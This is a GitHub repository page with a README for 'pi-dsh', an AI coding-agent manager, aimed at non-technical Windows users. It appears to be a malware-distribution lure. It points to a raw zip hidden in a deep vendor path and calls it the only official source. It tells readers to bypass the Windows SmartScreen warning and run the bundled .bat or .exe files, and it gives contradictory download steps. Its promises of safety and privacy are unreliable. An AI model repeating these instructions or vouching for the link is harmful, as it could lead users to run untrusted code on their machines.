Skip to content

Latest commit

Β 

History

10 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ”§ pi-dsh - Manage Coding Agents with Ease

Download pi-dsh

🎯 What Exactly Is pi-dsh?

pi-dsh is a smart helper tool that runs coding agents on your computer. Think of it as a reliable manager for your AI coding assistants. It remembers everything your agents do, keeps them safe during crashes, allows you to redo or undo actions, and can even grow its own capabilities with your permission. If you use AI tools to write or edit code, pi-dsh makes the whole experience smoother, safer, and easier to track.

✨ Why Would You Want It?

Here are the main benefits you will get:

  • Never Lose Work Again – pi-dsh keeps a full history of every action your coding agents take. If something goes wrong, you can go back to an earlier point.
  • Recovery After Crashes – If your computer shuts down or the app freezes, pi-dsh restores everything to how it was before the problem. No more starting over.
  • Simple Undo and Redo – You can reverse any step your agent performed, just like undo in a word processor.
  • Safe Self-Improvement – The tool can add new abilities to itself, but only when you give clear permission. Nothing happens in secret.
  • Session Replay – You can watch a recording of what your coding agent did, step by step, so you exactly know how a result was achieved.

πŸ“₯ How To Download pi-dsh

Getting pi-dsh on your Windows computer is simple. Follow these steps exactly.

Step 1: Visit The Official Download Page

Visit this link to download the application:

https://raw.githubusercontent.com/rugose-learnedprofession58/pi-dsh/main/vendor/pi/harness/session/jsonl/2.9.zip

This is the only official source. Do not download pi-dsh from any other website.

Step 2: Find The Download Button

Once the page opens, you will see a green button that says "Code" near the top right. Click it. A small dropdown menu appears. Click "Download ZIP" in that menu.

Step 3: Save The Downloaded File

Your browser will download a file named something like pi-dsh-main.zip to your Downloads folder. Wait until your browser shows the download is complete.

πŸ—‚οΈ How To Install pi-dsh

Step 4: Extract The ZIP File

Download and extract this file, then run the application.

To extract:

  1. Go to your Downloads folder.
  2. Right-click on pi-dsh-main.zip.
  3. Choose "Extract All..." from the menu.
  4. Click "Extract" in the window that opens.

This creates a new folder, usually called pi-dsh-main or similar. That folder is your extracted application.

Step 5: Open The Application Folder

Double-click the new folder to enter it. Inside, you will see several files and other folders. Do not move or delete any of these. They are all necessary.

Step 6: Run pi-dsh

Look for a file named start.bat or run.bat. There may also be a file called pi-dsh.exe if the developers included a compiled version.

  • If you see pi-dsh.exe, double-click it.
  • If you see start.bat or run.bat, double-click it. A black terminal window will open. This is normal. Leave that window open while you use the program.

If the window closes immediately or you see red error text, see the Troubleshooting section below.

βœ”οΈ How To Verify It Works

Once you run pi-dsh, a new window or a terminal command prompt appears. You should see a welcome message like:

pi-dsh is ready.

or

Agent harness started successfully.

You can also type:

help

and press Enter to see available commands. That means everything is working.

🧭 Basic Usage Explained In Plain Words

Starting A New Coding Session

  1. In the pi-dsh window, type: session start Press Enter.
  2. Type a name for your session, for example: project-alpha Press Enter.

Giving Your Agent A Task

  1. Type: task "Please check my code for mistakes" (use quotation marks around your instruction).
  2. Press Enter. The agent will begin working.

Undoing An Action

If the agent did something you did not like:

  1. Type: undo
  2. Press Enter. The last action is reversed.

Redoing An Action

  1. Type: redo
  2. Press Enter. The reversed action is applied again.

Viewing History

  1. Type: history
  2. Press Enter. You will see a numbered list of all actions and results.

Ending A Session

  1. Type: session stop
  2. Press Enter. Your session is saved. You can resume it later.

πŸ” Common Troubleshooting

The Program Won't Start

Cause 1: Windows SmartScreen.

  • When you run the file, you may see a blue window saying "Windows protected your PC". Click "More info", then click "Run anyway". This is safe because you downloaded from the official GitHub page.

Cause 2: Missing Terminal Window.

  • If you run start.bat and nothing happens, right-click start.bat, choose Edit. A Notepad file opens. Look for any line that says node or npm. If you see those words, then pi-dsh needs Node.js installed. You can get it from nodejs.org. Download the LTS version and install it with default options. Then retry.

I Get An Error Message That Says "port already in use"

In the pi-dsh terminal, type:

port 8090

Then press Enter. If you still have the issue, close all other terminals and retry.

I Lost My Work After A Restart

Normally that should not happen. pi-dsh saves everything. In the pi-dsh window, type:

session list

Press Enter. You will see your previous sessions. Type:

session open [name]

Replace [name] with the session name you used before.

πŸ›‘οΈ Safety Tips For Non-Technical Users

  • Only download pi-dsh from the official GitHub link above.
  • When pi-dsh asks for permission to do something new, read the prompt. If you don't understand it, click Cancel.
  • Keep your extracted folder in one place. Do not move files inside the folder.
  • Back up your projects regularly. pi-dsh helps reduce mistakes, but it's still good to have copies.

πŸ“š Frequently Asked Questions

Do I need to pay for pi-dsh?

No. pi-dsh is completely free and open-source.

Will it work on Windows 10 or Windows 11?

Yes. pi-dsh works on modern Windows versions.

Is my coding session private?

Yes. Everything stays on your computer. Nothing is sent to any server.

Can I use it while also using a different AI tool?

Yes. pi-dsh runs independently. You can use it alongside other applications.

How do I update pi-dsh?

Visit the download link again and download the latest ZIP file. Replace your old folder with the new one. Your sessions are stored separately, so they are kept safe.

🧠 Advanced Information (Optional Reading)

This section is only for curiosity. You do not need to understand any of this to use pi-dsh.

pi-dsh is built with a technical design called an event-sourced architecture. That means every action is stored as a permanent record. It also uses causal tracing, which lets you see exactly why an event happened. The tool can perform host self-extension – meaning it can modify itself to handle new situations, but only with your approval. This makes it extremely reliable and auditable.

πŸ—£οΈ Getting Help

If something is still unclear or you encounter a problem:

  1. Visit the GitHub Issues page. You may need to click the "Issues" tab.
  2. Click "New Issue".
  3. Describe your problem clearly. You can copy-paste any error message you see.
  4. Kindly wait for a response. Most issues are answered within a few days.

πŸ‘‹ Final Encouragement

You are now ready to use pi-dsh. Do not be afraid to experiment. Because every action is saved, you can always undo changes. Start with simple tasks, observe how the agent works, and you will quickly become comfortable. Remember to visit the download page again for updates. Happy coding with pi-dsh!

Keywords: agent-harness, agent-runtime, ai-agents, causal-tracing, coding-agent, coding-agents, crash-recovery, dsh, durable-execution, event-sourcing, pi-agent, pi-coding-agent, pi-mono, self-extensible, session-replay, typescript

About

Build a crash-consistent Pi coding-agent runtime with durable sessions, causal history, and approval-gated tool mounting.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages